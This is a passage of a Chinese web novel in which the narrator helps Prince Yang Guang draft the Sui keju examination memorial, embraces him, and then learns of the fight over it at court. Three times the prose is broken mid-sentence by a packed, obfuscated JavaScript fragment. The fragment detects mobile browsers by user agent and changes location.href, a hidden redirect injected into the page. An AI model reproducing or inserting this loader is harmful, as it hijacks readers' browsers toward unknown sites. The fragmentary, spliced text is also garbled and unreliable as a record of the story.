我坐直身子,骨头“嘎嘣”轻响。 杨广抬起头,目光扫过来:“醒了?” 声音哑得厉害。 “嗯。”我揉着脖子,“殿下一夜没睡?” “合了会眼。”他放下笔,揉了揉手腕,“得先把昨晚吵出来的东西捋顺。” 早膳送来时,我们草草吃了几口,又回到案前。 “殿下,”我拿起昨夜争论最凶的那张草稿,“‘路费核实’这条,最后还是按您说的,乡里三老具结,县令复核,虚报冒领者终身禁考,担保人连坐。” “嗯。”他蘸墨,在正式草案上写下这一条,“但得再加一句。” 他提笔补充: 「若三老、县令串通舞弊,查实者斩,家产抄没,举族三代不得入仕。」 要堵死所有漏洞,就得用最重的刑。 午后,我们开始处理最繁琐的部分,考场布置。 “每个考场设几间考棚?”我问。 “按考生人数来。”杨广在纸上画着草图,“每间考棚坐二十人,每人一桌一椅,桌距三尺,以防窥视。” “监考呢?” “每考场设主考官一名,副考官两名,监察御史一名。”他笔下不停,“另设巡考吏员十人,分区域巡视。” “防寒防暑怎么解决?” 他笔尖顿了顿:“八月州县试,天气尚可。二月省试长安还冷,考场需备炭盆。殿试在三月,宫中自有安排。” 我们就这样一条条地磨。 从考棚尺寸到桌椅材质,从炭盆数量到饮水供应,从如厕安排到突发疾病应对…… 越磨越细,越磨越觉得,这哪里是制定一个制度,这是在造一台精密无比的机器。 每一个齿轮都要严丝合缝,每一个环节都不能出错。 窗外的天色渐渐暗了,远处宫殿传来隐约的钟声。 我们终于把最后一条细则敲定。 草案摊在案上,厚厚一沓,从第一页的“开皇新制选士疏”,到最后一页的“舞弊惩处细则”。 事无巨细,条分缕析。 杨广放下笔,往后靠在椅背上,闭上眼。 我也瘫在椅子里,盯着屋顶的彩绘藻井。 殿内陷入一种奇异的寂静。 不是轻松,不是完成后的喜悦,而是……一种近乎虚脱的平静。 三天三夜。 从第一日看到那些血泪控诉时的震撼,到第二日争吵时的激烈,再到今日磨细节时的疲惫。 终于,成了。 暮色彻底漫进来时,杨广重新坐直。 他铺开一叠全新的宣纸,纸面雪白,在烛光下泛着细腻的光。 “开始整理吧。”他说,声音平静。 我点点头,把散乱的草稿按顺序理好,一份份递给他。 他提笔,蘸墨。 笔尖落在纸上,开始将这三日争吵出来的所有细节,转化为正式奏疏的文字。 不知过了多久。 烛火添了一次又一次,殿内安静得只剩下笔尖划过纸面的沙沙声。 我的眼皮越来越重。 起初还强撑着看他把一条条细则写进去,州县试八月,省试二月,殿试三月;明经考《五经正义》,进士考诗赋策论;糊名、誊录、考官轮换、监考御史…… 后来,字在眼前开始飘。 头一点,一点。 终于,我撑不住了。 脸埋在臂弯里,趴在长案上,沉沉睡去。 再睁开眼时,殿内烛火摇曳,已是深夜。 脖子酸得厉害,我抬起头,发现身上不知何时多了件月白色的外袍,是杨广的。 他还坐在那里,背脊依旧笔直,手里握着笔,正低头写着。 案上已经摞起厚厚一叠写好的奏疏,墨迹还没全干,在烛光下幽幽发亮。 我坐直身子,轻轻把那件外袍放到一边。 “醒了?”他没抬头,笔下不停。 “嗯。”我揉揉眼睛,“殿下写多久了?” “你睡了两个时辰。”他蘸墨,“正好,写到‘舞弊惩处’这一节,你来看看。” 我凑过去看。 他已经写了十几页,字迹工整清晰,条理分明。从考试分级到科目设置,从防弊措施到授官品级……昨夜我们争吵出来的每一个细节,都被他转化为严谨的官方文字。 我看了一会儿,忽然觉得眼眶有些发酸。 这个人…… 这个在未来会被史书骂成“暴君”的人…… 此刻正坐在深夜里,为一个延续千年的制度,一字一句地书写。 我不想再睡了。 就这么坐在他对面,看着他写。 看他提笔蘸墨,看他笔尖在纸上划过,看他偶尔停顿思考,看他皱眉修改。 烛火在他脸上跳动,照出眼底的专注,也照出眉宇间那抹化不开的疲惫。 可他笔下不停。 一页写完,轻轻放到一旁,再铺开新的一页。 沙沙,沙沙。 笔尖划过纸面的声音,在深夜里格外清晰。 殿外传来打更声,丑时了。 又过了不知多久,远处传来鸡鸣。 第一声,模糊。 第二声,近了。 第三声,嘹亮。 天要亮了。 最后一笔落下。 杨广搁下笔。 笔杆轻叩砚台,发出清脆一响。 他长长地吐出一口气,身子往后靠了靠,闭上眼。 晨光从东边漫进来,灰白的天光透过高窗,与殿内残存的烛光交织在一起。 我看着他。 看着他疲惫的脸,看着他眼底的青影,看着他搁在案上、微微发抖的手指。 然后我看向那叠奏疏。 厚厚一沓,墨迹未干。 从“开皇新制选士疏”这个杀气腾腾的标题开始,一页页翻过去:定科目、明范围、严考纪、立授官……字字如刀,条条见血。 全是冷冰冰的规则,硬邦邦的刀子。像一份战书,也像一道檄文。 可这不够。 “殿下,”我听见自己的声音,在寂静的殿里显得格外轻,“这奏疏……是不是还缺点什么?” 他抬起眼,眼底血丝缠绕着烛光:“嗯?” 我指着那叠纸,“得让陛下看到,这不只是一套法子。这是一个……新世道。” 我顿了顿,努力组织语言。 “得有点……能让人看了心头一热的东西,比如……您想彻底打破‘上品无寒门’的规矩,想为天下寒士开条路,这些话,得写进去。” 我挠挠头:“臣女嘴笨,说不漂亮。殿下您有文化,您写。” 杨广看着我,看了很久。 然后他重新铺开一张宣纸。 纸面雪白,在晨光里白得刺眼。 他提起笔,蘸墨。 笔尖悬在纸上,久久未落。 殿内静得能听见自己的心跳。 远处传来第四声鸡鸣,天光越来越亮。 终于,他落笔了。 「儿臣以为,治国之要,在得人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17254370|196057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才;得才之道,在开其路……」 我凑过去看,他这字是真好。筋是筋,骨是骨。 写到「使匹夫有志,皆可怀牒自进」时,我鼻子忽然有点酸。 可我没动,就死死盯着笔尖。 然后他顿了顿。 笔悬在那,墨将滴未滴。 接着写下去。 「然开科取士,其意更深一层。儿臣以为,此举不止于选官,更在破千百年门第之锢,立万世公平之基……」 我呼吸停了。 「使才学为重,出身为轻;使天下士子,不同姓字,唯问文章;不同门第,唯看策论……」 我手指掐进掌心,疼,但比不上胸口那阵闷雷似的撞。 「愿以此制,为我大隋立一道不灭之光。」 他抬眼,看我。 晨光正落在他瞳仁里,淬出一种近乎锋利的东西。 「一道无论王朝更迭、世事变迁,只要华夏文脉不绝,便永世长存的光。」 最后一个字落下。 笔搁下。 咚。 轻得吓人。 殿里死静。 外头的鸟叫、远处的更鼓、我自己的心跳,全听不见了。 我就盯着那几行字,盯着“不灭之光”,脑子像被什么东西狠狠凿开了。 我上辈子背过,“科举制打破士族垄断,扩大统治基础”,干巴巴的,考点。 后来骂它“八股取士禁锢思想”,也是干巴巴的,结论。 可这个人。 这个一千四百多年前的人,在亲手造这玩意儿的时候,想的不是统治基础,不是禁锢思想。 他想的是破门第。 立公平。 造一道光。 一道能活过朝代、活过战乱、活过所有权力更迭的——光。 理智那根弦,“嘣”一声,断了。 等我反应过来时,我已经扑过去了。 结结实实、用尽全力地,抱住了他。 脸埋在他颈侧,手臂环着他背,能摸到锦袍底下紧绷的肩胛骨。 我在发抖,也可能是他在抖,分不清了。 我就想抱住点什么,抱住这个写出“不灭之光”的人,抱住这一刻劈开我所有认知的东西。 “你写得太好了……”我声音闷在他衣襟里,带着我自己都没察觉的哽咽,“真的……太好了。” 他整个人僵住了。 像块石头。 胳膊垂着,没抬,也没推。 过了不知道多久,也许只是一瞬,也许有一百年,我才猛地醒过来。 我在干什么?! 我像被烫到一样弹开,踉跄着后退,后背撞在紫檀木的书架上,震得顶上灰尘簌簌往下落。 “殿、殿下……”我舌头打结,声音都劈了,“我……臣女失心疯了!您治罪!现在就治!” 杨广还站在原地。 他没动,就那么看着我。眼神空了一瞬,然后慢慢聚拢,聚成深不见底的黑。 过了很久,他才吸了口气。 很轻的一口气,但我听见了。 “萧姑娘。” 声音哑得厉害。 “这三日,”他慢慢说,每个字都沉甸甸的,“你我同心戮力,共创此策。” 他顿了顿,目光钉在我脸上: “激动失态——” “人之常情。” 殿外传来脚步声,孙宦官的声音在门外响起。 “殿下,辰时三刻了。陛下传话,问奏疏可已成稿?” 杨广最后看了我一眼。 那眼神太复杂,激赏,审视,深潭,还有一丝没藏干净的波动。 “更衣。”他扬声,声音恢复了平日的沉稳。 转身,下摆划开一道弧。 他没再看我,大步出去了。 43. 去他的人之常情 杨广去见皇帝了。 我目送他疲惫却依旧挺拔的背影消失在文思阁长长的回廊尽头。 晨光终于大盛,彻底驱散了殿内残留的烛火味。 满地狼藉的草稿纸片在光里无所遁形。 三天三夜。 我的脑子像塞了台持续轰鸣的织机,字句、条款、争吵、灵光还在里面穿梭不停,嗡嗡作响。 身体沉得像灌了铅,每一步都踩在棉花上。 孙宦官安排的小轿等在门外。我几乎是飘上去的。 轿帘一放,眼前就黑了。 再睁眼,轿子已停在贺府侧门。 时辰还早。 坊间刚苏醒,空气里有炊烟和早点摊子的香气。 我拖着灌了铅的腿挪进府门,竟然听见前厅传来隐约的说话声,和碗筷轻碰的响动。 这个点……吃早饭? 我迷迷糊糊走到前厅门口,探头一看。 好家伙。 老贺和小贺居然都在!还穿得挺整齐! 老贺正夹起一筷子醋芹,抬头看见我,眼睛瞪得像铜铃:“哟!丫头回来了?” 贺璟也放下粥碗看过来,目光在我脸上停了停。 我这才反应过来,哦对,今天好像是……休沐日? 怪不得这爷俩都在家蹲着。 “站着干啥?进来吃饭!”老贺大手一挥,“添副碗筷!” 我飘到桌边坐下,小厮麻利地摆上碗碟。 粟米粥温温热,蒸饼松软,几碟小酱菜油亮亮。 我捧起粥碗,感觉灵魂正在慢慢归位。 “怎么样?”老贺凑过来,压低声音,眼里闪着八卦的光,“宫里三天,见识啥了?陛下没为难你吧?” “没……我甚至没见到陛下,”我摇摇头,声音有点飘,“在屋里憋了三天,哪也没去,就是……看奏报,整理文书。” “累成这样?”老贺看我眼下青黑,“没休息?” “基本没。”我扯了扯嘴角。 老贺和贺璟看出了我的疲惫,对视一眼,没再追问。 “行了行了,先吃饭。”老贺给我夹了块蒸饼,“吃饱了回去好好睡一觉。瞧你这小脸,都快没人色了。” 贺璟也把盛着酱菜的碟子往我这边推了推。 我闷头吃饭。 粥是温的,饼是软的,小菜爽口。可尝在嘴里,却没什么滋味。 脑子里还是那些字: 明经、进士、科举。 糊名、誊录、考官轮换。 “不灭之光”。 还有……那个拥抱。 脸颊又开始发烫,我赶紧把头埋得更低。 一顿饭吃得安安静静,只有碗筷轻微的碰撞声。 吃完最后一口粥,我放下碗。 “我……回去睡会儿。”我站起来,腿还是软的。 “去吧。”老贺挥挥手。 贺璟站起身:“我送你回院子。” “不用。”我摆摆手,挤出个笑,“就几步路,我又没残。” 他没坚持,只站在原地,看着我摇摇晃晃地走出前厅。 晨光很好,暖洋洋地洒在身上。 可我一点都不觉得暖。 只觉得累,从骨头缝里渗出来的累。 还有……乱。 心里像塞了一团被猫抓过的麻线,怎么也理不清。 推开自己房门时,云枝已经手脚麻利地铺好了床,点上了安神的熏香。 “小姐快躺下!”她迎上来,扶住我胳膊,“瞧你这脸色,我这就去煮安神汤!” “别忙了。”我摆摆手,瘫倒在床上,“我就想躺着,什么都不想干。” 云枝还是端来了温水,拧了热布巾给我擦脸。 温热的布巾敷在脸上,舒服了一点。 我闭上眼睛。 可根本睡不着。 明明眼皮重得抬不起来,脑子里却像有无数个小人在跑马灯。 杨广写字时的侧脸。 他提笔写下“科举”时的眼神。 他说“不灭之光”时的声音。 还有……我扑过去时,他瞬间僵硬的脊背。 我明明给自己定了四条规矩,不看、不问、简洁答、准时走。 我明明说了要离他远点。 可这三天,从“明经”、“进士”开始,到“不灭之光”收尾,我的脑子、我的心神,全被那些字、那些事、那个人占满了。 那四条规矩,什么时候被我忘得干干净净的? 疯了。 我真是疯了。 怎么会……怎么就…… “小姐?”云枝小声唤我,“睡不着吗?是不是……宫里出什么事了?” 我睁开眼,看着帐顶。 过了很久,才轻声说:“云枝。” “嗯?” “我……” 我张了张嘴,喉咙发紧。 这个拥抱太烫了,烫得我心慌。 “我……”我听见自己的声音,轻得几乎听不见,“我抱了晋王。” 屋子里一片死寂。 云枝手里的布巾,“啪嗒”一声掉进了铜盆里。 水花溅起来几点,落在她手背上,她好像都没感觉到。 眼睛瞪得圆溜溜的,嘴巴半张着,整个人像被雷劈过的木桩。 过了足足五息。 “抱、抱了谁?!”她声音都劈叉了,眼睛瞪得比刚才更圆,“晋王殿下?!你主动的?!” 我被她这反应弄得脸更烫了,一把扯过被子蒙住头:“……嗯。” 被子外面,云枝倒吸了一口凉气,紧接着是窸窸窣窣的动静,她大概在原地转了两圈。 然后床沿一沉,她坐下来了,声音压得极低,带着掩饰不住的激动和……兴奋? “你、你怎么抱的?在哪儿抱的?晋王什么反应?他……他抱你了吗?” 这一连串问题砸过来,我头皮发麻。 我把被子掀开一条缝,露出眼睛:“就……在宫里。我俩一起写了一个奏疏,最后他写完,我……脑子一热。” 云枝眼睛亮得吓人:“然后呢?!” “然后我就松开了。”我把被子拉下来一点,闷闷地说,“他整个人都僵了,像块石头。我就跑了。” 云枝:“……就这?” “不然呢?!”我瞪她,“那可是晋王!我还说了句‘你写得太好了’,丢死人了……” 云枝歪着头,认真想了想:“殿下……没生气?” “没有。”我回忆着杨广当时的眼神。 那双深不见底的眼睛里,有过一瞬间的空茫,然后聚拢成我看不懂的复杂,“他说……‘激动失态,人之常情’。” 云枝“噗嗤”一声笑了。 “笑什么!”我恼羞成怒。 “没、没什么。”她抿着嘴,眼睛弯成月牙,“就是觉得,晋王殿下还挺会说话的。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17259034|196057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 会说话? 我翻了个白眼。 那分明是权衡利弊之后,给双方找的最体面的台阶。 他是晋王,我是贺家养女。 一个失控的拥抱,最好的处理方式就是把它定义为“激动失态,人之常情”。 难不成他还能说“萧姑娘对本王投怀送抱,甚合本王心意”? 那才真是疯了。 “小姐别想了,先睡会儿吧。” 她起身重新拧了布巾,这次敷在我额头上。 清凉感稍稍驱散了心头的烦躁。 我闭上眼睛。 熏香的味道淡淡地萦绕在鼻尖。是安神的檀香,混着一点艾草气。 可我还是睡不着。 身体明明累到了极点,意识却异常清醒。像一根绷得太久的弦,骤然松开后,还在微微震颤。 杨广现在在哪儿? 应该在两仪殿,或者甘露殿?把那份沉甸甸的草案,呈给陛下。 陛下会怎么看? 是勃然大怒,斥他异想天开? 是沉吟不语,权衡利弊? 还是……眼底也会燃起和他儿子一样的火? 还有那个拥抱。 指尖仿佛还残留着他衣料上清冽的松木香,混着一点点墨香,和……薄荷膏的味道。 对,薄荷膏。 他塞给我的那瓶薄荷膏,还在我袖袋里。 我伸手摸出来。 小小的白瓷瓶,触手温润。打开塞子,清凉的气味立刻弥漫开来。 和文思阁里,他递给我时,一模一样。 三天三夜。 争吵。推敲。一笔一划。 他看着我的眼神,从审视,到认真,到激赏。 最后落笔时,眼底那簇烧不尽的光。 “愿以此制,为我大隋立一道不灭之光。” 我猛地攥紧了瓷瓶。 瓶身冰凉,硌得手心发疼。 疯了。 真是疯了。 我居然因为几句话……就扑上去抱他。 可那不仅仅是几句话。 那是……一道光啊。 一道他亲手想要点亮,并且坚信能“永世长存”的光。 而我,一个来自千年后的灵魂,比谁都清楚,这道光,真的点亮了。 真的延续了千年。 哪怕它后来蒙尘、扭曲、僵化。 但在它诞生的那一刻,在那个晨光熹微的宫殿里,被那个未来会被骂作“暴君”的年轻皇子写下的那一刻。 它是纯粹的,滚烫的,足以灼伤人的。 我抱着被子,翻了个身。 脸埋在枕头里,深深吸了口气。 枕头上有阳光晒过的味道,和熏香混合在一起。 可鼻腔里,仿佛还是那股清冽的松木香,混着墨香,和薄荷膏的凉。 云枝轻轻拍着我的背,哼起一支不成调的民间小曲。声音软软的,带着江南水乡的糯。 我在那不成调的曲子里,意识终于开始模糊。 恍惚间,好像又回到了文思阁。 烛火摇曳。 笔尖划过纸面的沙沙声。 他抬起头,看过来时,眼底映着烛光。 还有我扑过去时,他瞬间僵硬的脊背。 和那句—— “激动失态。” “人之常情。” …… 去他娘的人之常情。 44. 朝堂炸了,他来了 我是被饿醒的。 睁开眼时,窗外已是天光大亮。 肚子咕噜噜叫得震天响。 “云枝……”我嗓子哑得厉害。 “小姐醒了?”云枝端着温水进来,眼睛亮晶晶的,“你这一觉睡得可沉,从昨天晌午一直睡到今儿早上!老爷和少爷天没亮就去上朝了。” 我接过水杯灌下去,喉咙总算舒服点。 “现在什么时辰了?” “快巳时了。”云枝回答,“厨房温着粥和饼子。” 我慢慢吞吞爬起来,浑身骨头像生锈了似的,一动就嘎吱响。 但脑子总算清明了些,那团乱麻好像被这一场大睡压下去不少。 慢悠悠吃了早膳,一碗粟米粥,两个蒸饼,一碟酱瓜。 吃完在院子里溜达了几圈,感觉力气回来了些,索性去练武场活动筋骨。 弓马太久没碰,先打了套拳。拳风破空,汗水一出,淤积的疲惫好像也随着汗水排出去不少。 然后练刀。刀锋劈砍,带起猎猎风声。脑子里那些纷乱的念头,渐渐被专注的动作取代。 中午吃饭时,老贺和小贺还没回来。 我让云枝把饭摆在前厅,一边吃一边等。 一碗饭吃完,没动静。 两碗饭吃完,还没动静。 日头从正中慢慢西斜,影子越拉越长。 我心里渐渐有点不安。 寻常朝会,午时前就该散了。这都未时了…… 该不会…… 我盯着门口,手里的筷子无意识地戳着碗底。 直到申时末,天色开始泛灰,门外终于传来马蹄声和熟悉的脚步声。 我腾地站起来。 老贺和小贺一前一后走进来。两人都穿着整齐的朝服,但脸色都不太好看。 老贺眉头拧成疙瘩,嘴角抿得死紧。 贺璟跟在他身后,背脊挺直,脸上没什么表情,可眼神沉得能拧出水。 “贺伯伯,阿兄,怎么这么晚才……”我话没说完。 老贺大手一挥,直接打断:“锦儿,跟我们来书房。” 声音又沉又急。 我心里咯噔一下。 进了书房,门一关。 老贺往太师椅上一坐,贺璟站在他旁边,俩人都盯着我,跟审犯人似的。 “爹,”贺璟先开口,声音沉沉的,“您直接问吧。” 老贺盯着我,那眼神跟X光似的,在我脸上扫了好几遍,才一字一顿地问。 “锦儿,你说实话。” 他顿了顿,每个字都砸在地上。 “晋王今天在朝堂上抛出来的那个什么‘科举’,里头那些弯弯绕绕、七七八八的细则,什么糊名啊、誊录啊、路费银子啊……有没有你的手笔?” 我张了张嘴,第一反应是装傻:“啊?您说什么科举?我怎么听不……” “别跟我装!”老贺一巴掌拍在桌子上,茶盏都跳起来了。 “你老子我在朝堂上混了多少年?那奏疏里那些刁钻古怪、闻所未闻的条条款款,什么‘考场设炭盆’、‘如厕需吏员陪同’,这味儿太冲了!根本不像那些老学究或者晋王府幕僚能琢磨出来的东西!” 他往前倾了倾身子,眼睛瞪得像铜铃: “是不是你?是不是你在文思阁那三天,跟晋王鼓捣出来的?!” 我:“……” 完了,露馅了。 不是,老贺你这鼻子也太灵了吧? 这都能闻出来? 我咽了口唾沫,知道瞒不过去了,只好缩了缩脖子,小声说:“……就,就稍微,提了一点点建议……” “一点点?!” 老贺气得胡子都翘起来了,“那是一点点吗?!那奏疏厚得能当砖头砸死人!陛下今天在朝堂上,从辰时念到午时,整整念了一个半时辰!一个字没落!” 我:“……哈?” 一个半时辰? 三个小时? 老爷子亲自念?! 我的妈呀,这是朝会还是说书专场啊?! “陛下念一句,底下那些关陇出身的老臣,脸就白一分。” 贺璟在旁边补充,“念到‘进士及第授从六品实职’的时候,我看见崔尚书捂住了心口,王侍郎差点没站稳。” “然后呢然后呢?” 我听得眼睛都亮了,虽然知道不该,但……这也太刺激了吧! “然后?”老贺冷笑一声。 “然后朝堂就炸了!那帮老家伙,一个个哭天抢地,说什么‘祖宗之法不可废’、‘此乃动摇国本’、‘寒门岂堪大任’……就差没当场撞柱子以死明志了!” “晋王呢?”我忍不住问。 贺璟看了我一眼,那眼神深得很:“晋王殿下……一步没退。” “何止没退!”老贺重重哼了一声,“那小子,平时看着温文尔雅的,今天跟换了个人似的!嘴皮子利索得跟刀子一样,引经据典,数据事实,一条条驳回去。说什么‘李纲以死叩阙,血书犹在’、‘寒门非无才,实无路’……最后直接问:‘诸位究竟是忧心国本,还是忧心自家子弟的青云路?’” 我听得手心冒汗,又忍不住在心里给杨广竖了个大拇指。 牛啊!正面硬刚! 不愧是你! “陛下怎么说?”我问。 贺璟声音放得更缓,一字一句复述:“‘既然各有道理,三日后,举行朝堂论辩。双方各出三人,就这‘科举’之制,当立还是当废,辩个明白。’” 朝堂论辩! 我心脏重重一跳。 好家伙……老皇帝这是铁了心要干了。 不仅把草案拿到朝堂上公开,还故意纵容双方争吵,最后扔出这么个“论辩”的方式。 他根本就是乐见其成!甚至……他在等这一天! 他想看看,这潭水到底能搅得多浑。想看看,到底有多少人会跳出来反对。更想看看,他选的这把刀。杨广,到底能有多锋利。 “贺伯伯,”我定了定神,看向老贺,“您……怎么看这个‘科举’?” 老贺沉默了很久。 他走到窗边,背着手,看着院子里渐渐暗下来的天色。 我们贺家……说来有点特别。 老贺早年,那是真·草根逆袭。十几岁就跟着杨坚老爷子打天下,平尉迟迥,他带几百人就敢断人粮道;灭南陈,他是第一个把旗插上建康城头的狠人。 拿命换军功,跟关陇那些靠祖宗吃饭的可不是一码事。 但你说我们算寒门? 也不对。 老贺是天子心腹,开国元 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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一半是猝不及防的慌乱,另一半……是种说不清道不明的、藤蔓似的悄悄往上爬的……期待? 呸!期待个鬼? 是尴尬!是社死现场要重现的恐慌! “请殿下前厅稍坐,我们这就过去。”老贺沉声应道,眉头拧得能夹死蚊子,看了我和贺璟一眼。 我深吸一口气,把脑子里那些乱七八糟的尖叫压下去,跟着他们往外走,脚还有点飘。 就在我跨过门槛,差点被自己裙角绊一下的瞬间,一只沉稳的手轻轻托了一下我的手肘。 是贺璟。 他只扶了一下就迅速松开,仿佛只是无意。 脚步不着痕迹地往我这边靠了半步,刚好能在我踉跄时及时伸手的距离。 他什么也没说,什么也没问,却好像看穿了我的突然失态。 侧脸在廊下灯笼的光晕里显得格外沉静,下颌线却紧紧绷着。 前厅里,杨广背对着门站着。 他穿着一身绛紫色的亲王朝服,玉带金冠,连下摆的褶皱都还带着太极殿里带出来的庄重肃穆味儿。一看就是刚下朝,连衣服都没换,直接就杀过来了。 但人看着……精神头居然回来了。 昨天清晨文思阁分别时,他那副疲惫沉重、眼底青黑的模样还历历在目。 这才过了一天,那股几乎要被案牍压垮的沉重感就消散了大半。 虽然脸上仍有倦色,但背脊挺得笔直,侧脸线条在厅内光线下显得清晰利落,那股属于年轻皇子、属于野心家的精气神,又回到了他身上。 ……体力怪,绝对是体力怪。 45. 宣示主权 “贺公,贺小将军。”杨广听到动静转身,微微颔首。 目光平稳地扫过我们,落在我脸上时,也只停留一瞬,温雅礼貌,跟昨天那个因拥抱而失控的人判若两样。 老贺也没客套,指指椅子:“殿下坐,吵了三个时辰,累吧?” 杨广从善如流地坐下,接过管家递来的茶,拿在手里却没喝。 他开门见山:“今日朝上情形,二位都见着了。不知对这选官新制,作何看法?” 送命题。 老贺摸着茶盏,没吭声。 贺璟抱拳,声音平稳得像在汇报军情:“殿下新制,思虑深远。若能推行,确可为国选才。只是末将一介武夫,于文章典章之事,不甚了了。” 这话滴水不漏,但也等于啥都没说。 杨广脸上没什么表情,只是指尖在茶盏边缘,极轻地敲了一下。 “当。” 一声轻响,在安静的前厅里格外清晰。 他显然没有耐心听这种中庸之词。 抬起眼,目光掠过贺璟,最终落在老贺脸上。 那眼神里的客套淡了些,露出底下属于晋王的、不容错辨的锐利。 “贺小将军过谦了。”杨广声音平缓,却带着某种重量。 “武人不通文事?贺公当年随陛下平定四方,战后安抚地方、遴选降臣,那些章程条款,贺公可是亲自参与拟定过的。” 老贺手指摩挲茶盏的动作微微一顿。 杨广身体略微前倾,目光锁住老贺,语速放慢,字字清晰。 “贺公是跟着陛下从潜邸一路杀出来的。您和贺家的根基,是战场上一刀一枪、用血换来的军功,不是关陇靠祖荫垒起来的牌坊。” 他顿了顿,让这句话的分量沉下去。 “也正因如此,贺家这些年在朝中,才能既不靠关陇荫蔽,也无需攀附新贵。不偏不倚,自成一方气象。” “这份超然,靠的不是左右逢源,是陛下对开国旧勋的信任,更是贺公您……实打实的本事和忠心。” 老贺依旧沉默,但背脊几不可察地挺直了些,握着茶盏的手指也微微收紧。 贺璟站在一旁,眼帘低垂,面上不动声色。 杨广见火候差不多了,话锋一转,声音压得更沉: “科举,是要把选官之权,从门阀私相授受的暗渠,一点点引回朝廷公器的明路。此事于国,是开万世之基;于陛下,是遂平生之愿;可于世家……” 他抬眼,目光如刀:“是刮骨疗毒。今日朝堂鸣鼓,只是开场。往后,明的暗的,只会更烈,更脏。” 我心里咯噔一下。 这话说得太直白了,几乎是把血淋淋的争斗摊开在桌面上。 老贺往后靠进椅背,阴影遮住了他半边脸。 他沉默了很久,久到我都以为他要端茶送客了,才慢悠悠开口,语气带着武将特有的粗粝:“殿下跟我说这些,是想拉贺家下水?” 这话直白得近乎冒犯。 杨广没回避,迎着他的目光:“是想请贺公,做第一个在明处,撑这条新路的重臣。” “凭什么?”老贺坐直了身体,那股战场上磨出来的气势隐隐透出,“贺家这么多年不站队,活得挺好。凭什么现在要蹚这浑水?” 压力给到了杨广这边。 他没急着回答,反而端起那杯一直没碰的茶,慢慢喝了一口。放下茶盏时,指尖几不可察地摩挲了一下盏沿。 然后,他抬起眼,声音压得极低,却字字清晰,像冰珠子砸在玉盘上。 “今日朝会后,父皇独留我。” 只这一句,老贺和贺璟的呼吸都微不可察地顿了一下。 “父皇问,”杨广的目光,短暂地落在我身上。 “那科举章程里,防舞弊的誊录制,还有给寒门学子补贴路费的条陈,细致刁钻,不似寻常幕僚手笔,是何人所想?” 我手心瞬间冒汗。 杨广继续道,语速平稳,却每个字都像秤砣砸下来:“我回禀,是贺公府上萧姑娘,曾亲见民间士子艰辛,故而有此献策。” 他停顿了一下,确保我们都听清了,才缓缓吐出最关键的那句: “父皇听了,沉默片刻,说,‘三日后朝堂论辩,让她来。朕,想亲耳听听。’” …… 我脑子里“嗡”的一声,一片空白。 啥玩意儿? 就把我卖了? 还皇帝点名让我去?? 去干啥??去跟满朝文武吵架??? 老贺脸上的表情凝固了。 震惊,权衡,还有一丝被天威突然照到的无措,在他眼中飞快掠过。他放在膝上的手,攥成了拳,又慢慢松开。 贺璟猛地看向我,眉头拧得死紧,那眼神复杂得我读不懂,有担忧,有警示,还有一层更深的东西。 皇帝点名。 这不再是晋王和世家贵族的争斗,这是龙椅上那位,把目光投了过来。轻飘飘一句话,就把贺家,把我,扯到了风暴眼的正中央。 老贺喉咙动了一下,声音有点发干:“陛下……真这么说了?” “字字属实。”杨广看着他,眼神坦荡,“父皇还说,‘告诉贺若弼,他养了个好闺女。也告诉他,朕记得他当年在军中,也是从最底下爬上来的。’” 最后这句,意思几乎已经挑明了。 陛下不仅记得贺家的功劳,更记得贺家是怎么起家的,是从泥里血里,一步步爬上来的。如今这科举,要动的就是那些高高在上、阻断后来者之路的旧墙。 皇帝希望贺家做什么? 希望这把曾经从底层杀出来的刀,能再次出鞘,做这改制的先锋,做劈开旧墙的第一道口子! 这不是商量,是点将。 老贺肩膀猛地塌了一下,仿佛被这无形的重量压得瞬间佝偻,但下一刻,又猛地挺直,比刚才更硬,更沉。 半晌,他忽然“嘿”地笑了一声。 那笑声有点涩,有点苦,但更多的,是一种尘埃落定、破釜沉舟的狠劲儿。 “从最底下爬上来的……” 他低声重复了一遍,嘴角扯了扯,眼里那点犹豫、权衡,彻底烧成了灰烬,只剩下一种近乎凶狠的亮光。 他转向杨广,一字一顿,声音沙哑却斩钉截铁: “殿下回去禀告陛下,贺若弼,领旨!” 这不再是选择,是接令。 杨广眼底深处,那一直绷着的弦,终于几不可察地松了一丝。 他站起身,对老贺深深一揖:“贺公高义,小王……代天下寒士,谢过。” 老贺没接茬,而是直接一巴掌拍在我背上:“去!好好跟那些老家伙辩一辩!天塌下来,你老子给你顶着!” 这一巴掌实实在在,我差点被他拍得往前一栽。 疼归疼,心倒是稳了,那股子破罐子破摔的劲头“噌”就上来了。 行呗,皇帝点名,不去也得去,横竖就当打辩论赛了! 贺璟几乎同时上前了半步,身形不经意似的,刚好隔在我和杨广之间。 “陛下有令,贺家自当遵旨。”他声音不高,却沉甸甸的,“但论辩前后,锦儿之安危,须有万全安排。” 这话说得平静,底下的意思却硬得很。 事儿,我们帮你干了,人,你得保证不出岔子,这是我们贺家的底线。 杨广的目光轻飘飘地从我脸上滑过,又落在贺璟那护食般的站位上,停了停。 他忽然极轻地笑了一下,那笑意没达眼底,反而带着一种“果然如此”的了然。 